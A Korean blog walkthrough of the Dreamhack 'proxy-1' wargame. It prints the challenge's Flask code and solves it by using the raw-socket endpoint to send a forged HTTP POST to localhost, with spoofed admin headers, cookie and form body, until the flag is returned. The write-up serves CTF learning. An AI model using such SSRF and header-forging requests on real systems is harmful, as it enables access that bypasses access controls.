본문 바로가기
드림핵

[드림핵] proxy-1 풀이

by jwcs 2024. 1. 8.
728x90

https://dreamhack.io/wargame/challenges/13

 

proxy-1

Raw Socket Sender가 구현된 서비스입니다. 요구하는 조건을 맞춰 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference Introduction of Webhacking

dreamhack.io

 

POST 헤더에 대해 공부할 수 있는 문제이다.

 

/

첫 화면이다

 

/socket

host, port, data를 입력할 수 있는 페이지다. 코드와 함께 알아보자.

 

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

 

FLAG는 /admin 페이지에 정상적으로 접속한다면 볼 수 있다. FLAG를 보기위해서 여러 조건들을 맞춰야한다. 그 중 첫번째 조건이 IP주소가 호스트 주소인 것이다.

 

이를 /socket 페이지를 이용하여 IP 주소를 로컬 호스트 주소로 사용할 수 있다.

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)

socket 페이지 코드를 살펴보면 입력한 host, port를 가지고 소켓 연결을 하며 입력한 data 내용을 전송한다.

 

그럼 host에는 127.0.0.1

port에는 서버가 사용중인 8000번 포트를 입력하면 될 것이다.

data에는 POST 메소드의 헤더와 바디를 입력하여 보내보자.

 

POST /admin HTTP/1.1
Host: host3.dreamhack.games:16036
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://host3.dreamhack.games:16036
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

userid=admin

이러한 내용을 data에 입력하였다.

 

User-agent를 Admin Browser로 수정

DreamhackUser라는 헤더와 admin 값을 추가

Cookie의 admin=true를 추가

POST 메소드이기 때문에 바디에 userid=admin 추가하였다.

Admin id error

마지막 조건을 만족하지 않아 Admin id가 리턴됐다.

어째서 마지막 조건을 만족하지 않았는지 알아봤더니 content에 대한 헤더를 POST 메소드에서는 사용해야한다.

 

post method 사용 예시

출처: https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST

 

POST - HTTP | MDN

The HTTP POST method sends data to the server. The type of the body of the request is indicated by the Content-Type header.

developer.mozilla.org

post 메소드 사용 예시이다.

 

content type 설명
content-length 설명
사용 이유 설명

따라서 content-type헤더와 content-length 헤더를 추가하여 패킷을 구성해보면

POST /admin HTTP/1.1
Host: host3.dreamhack.games:16036
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://host3.dreamhack.games:16036
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

userid=admin

flag

짜잔

728x90
반응형

'드림핵' 카테고리의 다른 글

[드림핵][wargame.kr] type confusion 풀이  (2) 2024.01.10
[드림핵] web-misconf-1 풀이  (0) 2024.01.08
[드림핵] session 풀이  (4) 2024.01.05
[드림핵] mongoboard 풀이  (0) 2024.01.05
[드림핵] Tomcat Manager 풀이  (0) 2024.01.03